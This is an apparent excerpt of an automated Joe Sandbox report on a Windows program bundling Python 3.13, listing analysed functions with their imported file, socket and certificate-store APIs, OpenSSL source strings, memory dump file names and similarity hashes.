Instruction ID: 12f2793f87a0cfabd5006127b9dd515ea5c3dd244955dbdb141ed273a02c9acd
Opcode Fuzzy Hash: 9fa68a4d019e543b82f48475598e9f337480dd6f5aee3ec3198131acb147343e
Instruction Fuzzy Hash: 6502C4E1A1F6428AFB568F31E86077963A6FF94F48F044636DE5D426A0DF3DE4888740

Function 00007FFBA679D9E0 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 110fileCOMMON

Download Yara Rule

APIs

00007FFBBB593010.VCRUNTIME140 ref: 00007FFBA679DA23
00007FFBBB593010.VCRUNTIME140 ref: 00007FFBA679DA4C
ReadFile.KERNEL32 ref: 00007FFBA679DA9F

Strings

delayed %dms for lock/sharing conflict at line %d, xrefs: 00007FFBA679DB38
winRead, xrefs: 00007FFBA679DAF7

Memory Dump Source

Source File: 00000008.00000002.1952154128.00007FFBA6791000.00000040.00000001.01000000.00000011.sdmp, Offset: 00007FFBA6790000, based on PE: true

Associated: 00000008.00000002.1952109608.00007FFBA6790000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000008.00000002.1952154128.00007FFBA68F1000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000008.00000002.1952154128.00007FFBA68F3000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000008.00000002.1952154128.00007FFBA6908000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000008.00000002.1952472915.00007FFBA690A000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000008.00000002.1952519785.00007FFBA690C000.00000004.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffba6790000_program.jbxd

Similarity

API ID: 00007B593010$FileRead
String ID: delayed %dms for lock/sharing conflict at line %d$winRead
API String ID: 1571206903-1843600136
Opcode ID: 66d7818fc9c6dce62004362554e4c0cfd5c82727d3bea9d87ae7196a0384542c
Instruction ID: 1d01b8f67ccd37a097044393495b2ed6de5dd601b9b3627b9a936c03cdde6447
Opcode Fuzzy Hash: 66d7818fc9c6dce62004362554e4c0cfd5c82727d3bea9d87ae7196a0384542c
Instruction Fuzzy Hash: 6141E2E2A19A4682E761CF35E8405AD7BABFB94F80F144136EE4D43694EF3CE8568340

Function 00007FFBAA4947A0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 77networkCOMMON

Download Yara Rule

APIs

connect.WS2_32 ref: 00007FFBAA4947D1
WSAGetLastError.WS2_32 ref: 00007FFBAA4947EA
WSAGetLastError.WS2_32 ref: 00007FFBAA4947F6
WSASetLastError.WS2_32 ref: 00007FFBAA49481D

Strings

3', xrefs: 00007FFBAA494836

Memory Dump Source

Source File: 00000008.00000002.1952605640.00007FFBAA491000.00000040.00000001.01000000.00000012.sdmp, Offset: 00007FFBAA490000, based on PE: true

Associated: 00000008.00000002.1952566333.00007FFBAA490000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000008.00000002.1952605640.00007FFBAA4A1000.00000040.00000001.01000000.00000012.sdmpDownload File
Associated: 00000008.00000002.1952605640.00007FFBAA4A3000.00000040.00000001.01000000.00000012.sdmpDownload File
Associated: 00000008.00000002.1952605640.00007FFBAA4A6000.00000040.00000001.01000000.00000012.sdmpDownload File
Associated: 00000008.00000002.1952772594.00007FFBAA4A7000.00000080.00000001.01000000.00000012.sdmpDownload File
Associated: 00000008.00000002.1952815760.00007FFBAA4A8000.00000004.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffbaa490000_program.jbxd

Similarity

API ID: ErrorLast$connect
String ID: 3'
API String ID: 375857812-280543908
Opcode ID: ad6926efe17413235fb0923d8b5cdfad53428c2f0b392e70a2f0e2a8c3016219
Instruction ID: 78cb274ad06b232cb0ed1f23280dc2caef548b44c7b86e96941fc4c1875cc28c
Opcode Fuzzy Hash: ad6926efe17413235fb0923d8b5cdfad53428c2f0b392e70a2f0e2a8c3016219
Instruction Fuzzy Hash: 94317CA5A0AB82C6F7A28F72E4C026D2398AF44B94F100575FD5D827A5DF3CE4628661

Function 00007FFBA66AA874 Relevance: 7.7, APIs: 5, Instructions: 200encryptionCOMMON

Download Yara Rule

APIs

00007FFBAA67CA38.PYTHON313 ref: 00007FFBA66AA895

Part of subcall function 00007FFBA66ACCDC: CertOpenStore.CRYPT32 ref: 00007FFBA66ACD07

GetLastError.KERNEL32 ref: 00007FFBA66AA8CE
CertEnumCertificatesInStore.CRYPT32 ref: 00007FFBA66AA9AF
CertFreeCertificateContext.CRYPT32 ref: 00007FFBA66AAA50
CertCloseStore.CRYPT32 ref: 00007FFBA66AAAC4

Memory Dump Source

Source File: 00000008.00000002.1951835790.00007FFBA66A1000.00000040.00000001.01000000.00000014.sdmp, Offset: 00007FFBA66A0000, based on PE: true

Associated: 00000008.00000002.1951780580.00007FFBA66A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000008.00000002.1951835790.00007FFBA66AE000.00000040.00000001.01000000.00000014.sdmpDownload File
Associated: 00000008.00000002.1951835790.00007FFBA66C1000.00000040.00000001.01000000.00000014.sdmpDownload File
Associated: 00000008.00000002.1951835790.00007FFBA66CA000.00000040.00000001.01000000.00000014.sdmpDownload File
Associated: 00000008.00000002.1951835790.00007FFBA66CE000.00000040.00000001.01000000.00000014.sdmpDownload File
Associated: 00000008.00000002.1952036399.00007FFBA66D1000.00000080.00000001.01000000.00000014.sdmpDownload File
Associated: 00000008.00000002.1952071427.00007FFBA66D3000.00000004.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffba66a0000_program.jbxd

Similarity

API ID: Cert$Store$00007CertificateCertificatesCloseContextEnumErrorFreeLastOpen
String ID:
API String ID: 2716309604-0
Opcode ID: 7eb488ba5e32441d0f01a54a1631f0afa1a8ca53c20eef8b2eeae5f161c725b6
Instruction ID: e8a127af4e32da94c1fa78cf7da376ec34605413058409049ec15966291698da
Opcode Fuzzy Hash: 7eb488ba5e32441d0f01a54a1631f0afa1a8ca53c20eef8b2eeae5f161c725b6
Instruction Fuzzy Hash: DE8179F5E0B64286EA175F39DE141B922F3FF64F94F08A432CE0E86681DE3DA4459B00

Function 00007FFBA66ACCDC Relevance: 7.6, APIs: 5, Instructions: 64encryptionCOMMON

Download Yara Rule

APIs

CertOpenStore.CRYPT32 ref: 00007FFBA66ACD07
CertOpenStore.CRYPT32 ref: 00007FFBA66ACD3A
CertAddStoreToCollection.CRYPT32 ref: 00007FFBA66ACD55
CertCloseStore.CRYPT32 ref: 00007FFBA66ACD62
CertCloseStore.CRYPT32 ref: 00007FFBA66ACD8A

Memory Dump Source

Source File: 00000008.00000002.1951835790.00007FFBA66A1000.00000040.00000001.01000000.00000014.sdmp, Offset: 00007FFBA66A0000, based on PE: true

Associated: 00000008.00000002.1951780580.00007FFBA66A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000008.00000002.1951835790.00007FFBA66AE000.00000040.00000001.01000000.00000014.sdmpDownload File
Associated: 00000008.00000002.1951835790.00007FFBA66C1000.00000040.00000001.01000000.00000014.sdmpDownload File
Associated: 00000008.00000002.1951835790.00007FFBA66CA000.00000040.00000001.01000000.00000014.sdmpDownload File
Associated: 00000008.00000002.1951835790.00007FFBA66CE000.00000040.00000001.01000000.00000014.sdmpDownload File
Associated: 00000008.00000002.1952036399.00007FFBA66D1000.00000080.00000001.01000000.00000014.sdmpDownload File
Associated: 00000008.00000002.1952071427.00007FFBA66D3000.00000004.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffba66a0000_program.jbxd

Similarity

API ID: CertStore$CloseOpen$Collection
String ID:
API String ID: 1995843185-0
Opcode ID: aaba8413391d0e4b0f15a030ceca06c547fe89b67491544b9257196f0b72f74b
Instruction ID: 768d10afa35549319cd6d5eb729286fc44c8f41dc604b7f9eba8f05243933287
Opcode Fuzzy Hash: aaba8413391d0e4b0f15a030ceca06c547fe89b67491544b9257196f0b72f74b
Instruction Fuzzy Hash: 6221F2B2B09A5186FB21DF7AEC146A96762FBA4F84F449430CD0D87B14EF3CE516DA00

Function 00007FF72C665628 Relevance: 6.1, APIs: 4, Instructions: 90fileCOMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF72C665655
CreateFileW.KERNEL32 ref: 00007FF72C665694
CloseHandle.KERNEL32 ref: 00007FF72C6656C9

Memory Dump Source

Source File: 00000008.00000002.1949252738.00007FF72C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF72C650000, based on PE: true

Associated: 00000008.00000002.1949219769.00007FF72C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949294358.00007FF72C67B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949341055.00007FF72C68E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949341055.00007FF72C691000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949418176.00007FF72C694000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff72c650000_program.jbxd

Similarity

API ID: CloseCreateFileHandle_invalid_parameter_noinfo
String ID:
API String ID: 1279662727-0
Opcode ID: b1746a8a916bbf96797ffba89da9809a683c49b2a7b1d8f7dd6efe5c63c8eb6a
Instruction ID: c6b58e72bd74b63d40caca36ecf0d3e284f8668a89b904be69434ffa4d3f7fcd
Opcode Fuzzy Hash: b1746a8a916bbf96797ffba89da9809a683c49b2a7b1d8f7dd6efe5c63c8eb6a
Instruction Fuzzy Hash: C341A462D1878283E711AB209911379B671FBA4774F609339E79C43AD5DF7CA0E08B50

Function 00007FFBA60914BF Relevance: 4.7, APIs: 1, Strings: 2, Instructions: 229COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32 ref: 00007FFBA60EF1C3

Strings

..\s\ssl\statem\statem.c, xrefs: 00007FFBA60EF2B5, 00007FFBA60EF45C, 00007FFBA60EF48F
state_machine, xrefs: 00007FFBA60EF2AE, 00007FFBA60EF450, 00007FFBA60EF483

Memory Dump Source

Source File: 00000008.00000002.1950129246.00007FFBA6091000.00000040.00000001.01000000.00000016.sdmp, Offset: 00007FFBA6090000, based on PE: true

Associated: 00000008.00000002.1950095632.00007FFBA6090000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000008.00000002.1950129246.00007FFBA6113000.00000040.00000001.01000000.00000016.sdmpDownload File
Associated: 00000008.00000002.1950129246.00007FFBA6115000.00000040.00000001.01000000.00000016.sdmpDownload File
Associated: 00000008.00000002.1950129246.00007FFBA613D000.00000040.00000001.01000000.00000016.sdmpDownload File
Associated: 00000008.00000002.1950129246.00007FFBA6148000.00000040.00000001.01000000.00000016.sdmpDownload File
Associated: 00000008.00000002.1950129246.00007FFBA6153000.00000040.00000001.01000000.00000016.sdmpDownload File
Associated: 00000008.00000002.1950432020.00007FFBA6157000.00000080.00000001.01000000.00000016.sdmpDownload File
Associated: 00000008.00000002.1950478595.00007FFBA6159000.00000004.00000001.01000000.00000016.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffba6090000_program.jbxd

Similarity

API ID: ErrorLast
String ID: ..\s\ssl\statem\statem.c$state_machine
API String ID: 1452528299-1722249466
Opcode ID: b54ccff58f8e80719a599f0acc35fce9342e321a5adb0181e948912c75f3cdda
Instruction ID: 2d0575a2c7a65f1135468b4142f2831b0b82bf9c4a4194dda9a2f618e5881feb
Opcode Fuzzy Hash: b54ccff58f8e80719a599f0acc35fce9342e321a5adb0181e948912c75f3cdda
Instruction Fuzzy Hash: EBA15CE2E0E69281FB73AA35D4813BD2697EF51F44F244435DD0D466DACE3CE8E28242

Function 00007FFBA609127B Relevance: 4.6, APIs: 1, Strings: 2, Instructions: 104COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32 ref: 00007FFBA60D8AC5

Strings

..\s\ssl\record\rec_layer_s3.c, xrefs: 00007FFBA60D8B6E, 00007FFBA60D8BCA
ssl3_write_pending, xrefs: 00007FFBA60D8B62, 00007FFBA60D8BBE

Memory Dump Source

Source File: 00000008.00000002.1950129246.00007FFBA6091000.00000040.00000001.01000000.00000016.sdmp, Offset: 00007FFBA6090000, based on PE: true

Associated: 00000008.00000002.1950095632.00007FFBA6090000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000008.00000002.1950129246.00007FFBA6113000.00000040.00000001.01000000.00000016.sdmpDownload File
Associated: 00000008.00000002.1950129246.00007FFBA6115000.00000040.00000001.01000000.00000016.sdmpDownload File
Associated: 00000008.00000002.1950129246.00007FFBA613D000.00000040.00000001.01000000.00000016.sdmpDownload File
Associated: 00000008.00000002.1950129246.00007FFBA6148000.00000040.00000001.01000000.00000016.sdmpDownload File
Associated: 00000008.00000002.1950129246.00007FFBA6153000.00000040.00000001.01000000.00000016.sdmpDownload File
Associated: 00000008.00000002.1950432020.00007FFBA6157000.00000080.00000001.01000000.00000016.sdmpDownload File
Associated: 00000008.00000002.1950478595.00007FFBA6159000.00000004.00000001.01000000.00000016.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffba6090000_program.jbxd

Similarity

API ID: ErrorLast
String ID: ..\s\ssl\record\rec_layer_s3.c$ssl3_write_pending
API String ID: 1452528299-1219543453
Opcode ID: 5b41cf49d76ee813241620147cb438b9269980a246317de21737170a9b88665e
Instruction ID: d49346efd7d14cb61ac85dd7e9a2c148c486bb70a868fffedf26dfb544779723
Opcode Fuzzy Hash: 5b41cf49d76ee813241620147cb438b9269980a246317de21737170a9b88665e
Instruction Fuzzy Hash: 0C417DE1B0AA4182FB669B39D58477A3792EB44F94F144235DE0C47BD5DF3DE8A18300

Function 00007FF72C65CC3C Relevance: 4.6, APIs: 3, Instructions: 94COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF72C65CE0C: __scrt_dllmain_crt_thread_attach.LIBCMT ref: 00007FF72C65CE20

__scrt_acquire_startup_lock.LIBCMT ref: 00007FF72C65CC60
__scrt_release_startup_lock.LIBCMT ref: 00007FF72C65CCCE
__scrt_get_show_window_mode.LIBCMT ref: 00007FF72C65CD21

Memory Dump Source

Source File: 00000008.00000002.1949252738.00007FF72C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF72C650000, based on PE: true

Associated: 00000008.00000002.1949219769.00007FF72C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949294358.00007FF72C67B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949341055.00007FF72C68E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949341055.00007FF72C691000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949418176.00007FF72C694000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff72c650000_program.jbxd

Similarity

API ID: __scrt_acquire_startup_lock__scrt_dllmain_crt_thread_attach__scrt_get_show_window_mode__scrt_release_startup_lock
String ID:
API String ID: 3251591375-0
Opcode ID: b3dd18574e8b698ea28c35ed35ed65a6730a16d6ac14c38d0a8ba428da0d66bc
Instruction ID: 6e30d9ec16d69f3e57071b0ca5c78008316a9556d923d944832d7baf699061e8
Opcode Fuzzy Hash: b3dd18574e8b698ea28c35ed35ed65a6730a16d6ac14c38d0a8ba428da0d66bc
Instruction Fuzzy Hash: 66313B20E0894351FA16BB659D223B9A693FFB53E4FE45538DB0D472D7DE2CA404CA30

Function 00007FFBA66AC2AC Relevance: 4.6, APIs: 3, Instructions: 86encryptionCOMMON

Download Yara Rule

APIs

CertGetEnhancedKeyUsage.CRYPT32 ref: 00007FFBA66AC2CB
CertGetEnhancedKeyUsage.CRYPT32 ref: 00007FFBA66AC30C
GetLastError.KERNEL32 ref: 00007FFBA66AC31F

Memory Dump Source

Source File: 00000008.00000002.1951835790.00007FFBA66A1000.00000040.00000001.01000000.00000014.sdmp, Offset: 00007FFBA66A0000, based on PE: true

Associated: 00000008.00000002.1951780580.00007FFBA66A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000008.00000002.1951835790.00007FFBA66AE000.00000040.00000001.01000000.00000014.sdmpDownload File
Associated: 00000008.00000002.1951835790.00007FFBA66C1000.00000040.00000001.01000000.00000014.sdmpDownload File
Associated: 00000008.00000002.1951835790.00007FFBA66CA000.00000040.00000001.01000000.00000014.sdmpDownload File
Associated: 00000008.00000002.1951835790.00007FFBA66CE000.00000040.00000001.01000000.00000014.sdmpDownload File
Associated: 00000008.00000002.1952036399.00007FFBA66D1000.00000080.00000001.01000000.00000014.sdmpDownload File
Associated: 00000008.00000002.1952071427.00007FFBA66D3000.00000004.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffba66a0000_program.jbxd

Similarity

API ID: CertEnhancedUsage$ErrorLast
String ID:
API String ID: 1886896454-0
Opcode ID: 2cd6634cda7950ea608b26807c57f45d5ce5584d3dae50a6d6ae09d557c1b1f0
Instruction ID: 12b182d26149dfbe27a4c00872871188d9b7e6fa92fb7092fea8c348fc06247d
Opcode Fuzzy Hash: 2cd6634cda7950ea608b26807c57f45d5ce5584d3dae50a6d6ae09d557c1b1f0
Instruction Fuzzy Hash: 85315EE1A0BA0282FA565F7DEC141BD62B3AFA4F91F046435CE5E82790DE3DA8559B00

Function 00007FF72C66013C Relevance: 3.2, APIs: 2, Instructions: 177COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF72C660180
_invalid_parameter_noinfo.LIBCMT ref: 00007FF72C660277

Memory Dump Source

Source File: 00000008.00000002.1949252738.00007FF72C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF72C650000, based on PE: true

Associated: 00000008.00000002.1949219769.00007FF72C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949294358.00007FF72C67B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949341055.00007FF72C68E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949341055.00007FF72C691000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949418176.00007FF72C694000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff72c650000_program.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 2fd4b9cf4e2c203a215f80a0453bc9b94d2a0e119ef729a2f51343e3c0f92604
Instruction ID: e729ccd8e8d10f86d6f780a2c21e2924e2a28b74ba22fc5a9621f802ae7e9ed1
Opcode Fuzzy Hash: 2fd4b9cf4e2c203a215f80a0453bc9b94d2a0e119ef729a2f51343e3c0f92604
Instruction Fuzzy Hash: DF51EB21B0924286E726B9659C0067AF5A2FF54BB4FA84638DE6D037C5CE3CE4018E64

Function 00007FF72C66C134 Relevance: 3.0, APIs: 2, Instructions: 46COMMONLIBRARYCODE

Download Yara Rule

APIs

SetFilePointerEx.KERNEL32(?,?,?,?,?,00007FF72C66C2CD), ref: 00007FF72C66C180
GetLastError.KERNEL32(?,?,?,?,?,00007FF72C66C2CD), ref: 00007FF72C66C18A

Memory Dump Source

Source File: 00000008.00000002.1949252738.00007FF72C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF72C650000, based on PE: true

Associated: 00000008.00000002.1949219769.00007FF72C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949294358.00007FF72C67B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949341055.00007FF72C68E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949341055.00007FF72C691000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949418176.00007FF72C694000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff72c650000_program.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: 7d52f85de62641260209e8dbb28c5e1251e01e8bf24b4306ce9dcd9badf2c9c6
Instruction ID: 2543a96461a1dba0fe938641a66756ce545f6c037bca7570d7cb3361ced89ee7
Opcode Fuzzy Hash: 7d52f85de62641260209e8dbb28c5e1251e01e8bf24b4306ce9dcd9badf2c9c6
Instruction Fuzzy Hash: 03119072608E8281DA21AB26AC14169F763FB95BF4FA44335EA7D0B7D9CE3CD0518B10

Function 00007FFBAA4949CC Relevance: 3.0, APIs: 2, Instructions: 34networkCOMMON

Download Yara Rule

APIs

ioctlsocket.WS2_32 ref: 00007FFBAA494A05
WSAGetLastError.WS2_32 ref: 00007FFBAA494A22

Memory Dump Source

Source File: 00000008.00000002.1952605640.00007FFBAA491000.00000040.00000001.01000000.00000012.sdmp, Offset: 00007FFBAA490000, based on PE: true

Associated: 00000008.00000002.1952566333.00007FFBAA490000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000008.00000002.1952605640.00007FFBAA4A1000.00000040.00000001.01000000.00000012.sdmpDownload File
Associated: 00000008.00000002.1952605640.00007FFBAA4A3000.00000040.00000001.01000000.00000012.sdmpDownload File
Associated: 00000008.00000002.1952605640.00007FFBAA4A6000.00000040.00000001.01000000.00000012.sdmpDownload File
Associated: 00000008.00000002.1952772594.00007FFBAA4A7000.00000080.00000001.01000000.00000012.sdmpDownload File
Associated: 00000008.00000002.1952815760.00007FFBAA4A8000.00000004.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffbaa490000_program.jbxd

Similarity

API ID: ErrorLastioctlsocket
String ID:
API String ID: 1021210092-0
Opcode ID: 9d037e66daaa798c1db8349a0f9e745af233c9881e48aae1d3b5376aec23ea56
Instruction ID: be6f112e445ad3232d08ef4a7e15cf3c3af955819ec09858131e8f6aec477969
Opcode Fuzzy Hash: 9d037e66daaa798c1db8349a0f9e745af233c9881e48aae1d3b5376aec23ea56
Instruction Fuzzy Hash: 94017161A1AA41C2E7119B76E8C406E63A8FF88BD4B504070FD5E43B35CE2DD4A68710

Function 00007FFBAA4956E8 Relevance: 3.0, APIs: 2, Instructions: 29COMMON

Download Yara Rule

APIs

closesocket.WS2_32 ref: 00007FFBAA495718
00007FFBC92E3440.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFBAA495732

Memory Dump Source

Source File: 00000008.00000002.1952605640.00007FFBAA491000.00000040.00000001.01000000.00000012.sdmp, Offset: 00007FFBAA490000, based on PE: true

Associated: 00000008.00000002.1952566333.00007FFBAA490000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000008.00000002.1952605640.00007FFBAA4A1000.00000040.00000001.01000000.00000012.sdmpDownload File
Associated: 00000008.00000002.1952605640.00007FFBAA4A3000.00000040.00000001.01000000.00000012.sdmpDownload File
Associated: 00000008.00000002.1952605640.00007FFBAA4A6000.00000040.00000001.01000000.00000012.sdmpDownload File
Associated: 00000008.00000002.1952772594.00007FFBAA4A7000.00000080.00000001.01000000.00000012.sdmpDownload File
Associated: 00000008.00000002.1952815760.00007FFBAA4A8000.00000004.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffbaa490000_program.jbxd

Similarity

API ID: 00007E3440closesocket
String ID:
API String ID: 511609766-0
Opcode ID: 62ca75f0746227e7f5462e3ebb3314c23d0f25c318866796c54010b4c1d505b6
Instruction ID: 197d3d31fe7a3e9e3e8d8a2b95363af66f79ae242505ac5c7a3b4c03d74310f8
Opcode Fuzzy Hash: 62ca75f0746227e7f5462e3ebb3314c23d0f25c318866796c54010b4c1d505b6
Instruction Fuzzy Hash: AAF04F62A09741C2E6165F76E5C406D2328BB08BB4F1403B4EE79026E1CF3DE4668210

Function 00007FF72C66AB58 Relevance: 2.6, APIs: 2, Instructions: 59COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(?,?,?,00007FF72C66A9D5,?,?,00000000,00007FF72C66AA8A), ref: 00007FF72C66ABC6
GetLastError.KERNEL32(?,?,?,00007FF72C66A9D5,?,?,00000000,00007FF72C66AA8A), ref: 00007FF72C66ABD0

Memory Dump Source

Source File: 00000008.00000002.1949252738.00007FF72C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF72C650000, based on PE: true

Associated: 00000008.00000002.1949219769.00007FF72C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949294358.00007FF72C67B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949341055.00007FF72C68E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949341055.00007FF72C691000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949418176.00007FF72C694000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff72c650000_program.jbxd

Similarity

API ID: CloseErrorHandleLast
String ID:
API String ID: 918212764-0
Opcode ID: ae1e15d82824e1a5fac1c7302ca2ff5641fe0b0e43db7728cd9339717749910c
Instruction ID: ff124b5c4a0a30bc84c456b381c3c23e6591b99b348b6acf705da7a27a7e4cef
Opcode Fuzzy Hash: ae1e15d82824e1a5fac1c7302ca2ff5641fe0b0e43db7728cd9339717749910c
Instruction Fuzzy Hash: 8021C511B0864201EA5277719C9027DF6A3FFA47B0FA8423DD92E477C2CF6CE4814B20

Function 00007FFBAA4B7FF0 Relevance: 1.7, APIs: 1, Instructions: 154COMMON

Download Yara Rule

APIs

00007FFBAA5AD8D8.PYTHON313 ref: 00007FFBAA4C4665

Memory Dump Source

Source File: 00000008.00000002.1952893577.00007FFBAA4B1000.00000040.00000001.01000000.0000000E.sdmp, Offset: 00007FFBAA4B0000, based on PE: true

Associated: 00000008.00000002.1952857331.00007FFBAA4B0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000008.00000002.1952893577.00007FFBAA4CB000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000008.00000002.1952893577.00007FFBAA4D7000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000008.00000002.1953017597.00007FFBAA4D8000.00000080.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000008.00000002.1953052763.00007FFBAA4DA000.00000004.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffbaa4b0000_program.jbxd

Similarity

API ID: 00007
String ID:
API String ID: 3568877910-0
Opcode ID: 8908da1cc5826f1fe7d2bd08b6d6f7bc8f78f31fa746e9609a189806a6c04201
Instruction ID: bb9e0222573c691aea1bfbbb99080d66f9a64f71fc7fbc796f1224b312d411de
Opcode Fuzzy Hash: 8908da1cc5826f1fe7d2bd08b6d6f7bc8f78f31fa746e9609a189806a6c04201
Instruction Fuzzy Hash: 61515AB2A0BA42C1EB628F35E54427962A9FF04F94F144075EE4D177A8DF3CE4928360

Function 00007FF72C66BEAC Relevance: 1.6, APIs: 1, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF72C66BED4

Memory Dump Source

Source File: 00000008.00000002.1949252738.00007FF72C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF72C650000, based on PE: true

Associated: 00000008.00000002.1949219769.00007FF72C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949294358.00007FF72C67B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949341055.00007FF72C68E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949341055.00007FF72C691000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949418176.00007FF72C694000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff72c650000_program.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 5a303e376ae32d58fd1e52f1ac99a64fdc1cf63549abbe0bdd4da132c2ec767e
Instruction ID: 0b099c07253b9450cd99cc86397d56a4bbef62ef019b7b493efab67f8f9d6e6f
Opcode Fuzzy Hash: 5a303e376ae32d58fd1e52f1ac99a64fdc1cf63549abbe0bdd4da132c2ec767e
Instruction Fuzzy Hash: 0B41B732908242C7EA25AA15AD50179B3B2FFA57A0FA00139D68E436D1CF7DF442DF61

Function 00007FFBAA4B81F4 Relevance: 1.6, APIs: 1, Instructions: 103COMMON

Download Yara Rule

APIs

00007FFBBB591A90.VCRUNTIME140 ref: 00007FFBAA4B8242

Memory Dump Source

Source File: 00000008.00000002.1952893577.00007FFBAA4B1000.00000040.00000001.01000000.0000000E.sdmp, Offset: 00007FFBAA4B0000, based on PE: true

Associated: 00000008.00000002.1952857331.00007FFBAA4B0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000008.00000002.1952893577.00007FFBAA4CB000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000008.00000002.1952893577.00007FFBAA4D7000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000008.00000002.1953017597.00007FFBAA4D8000.00000080.00000001.01000000.0000000E.sdmpDownload File
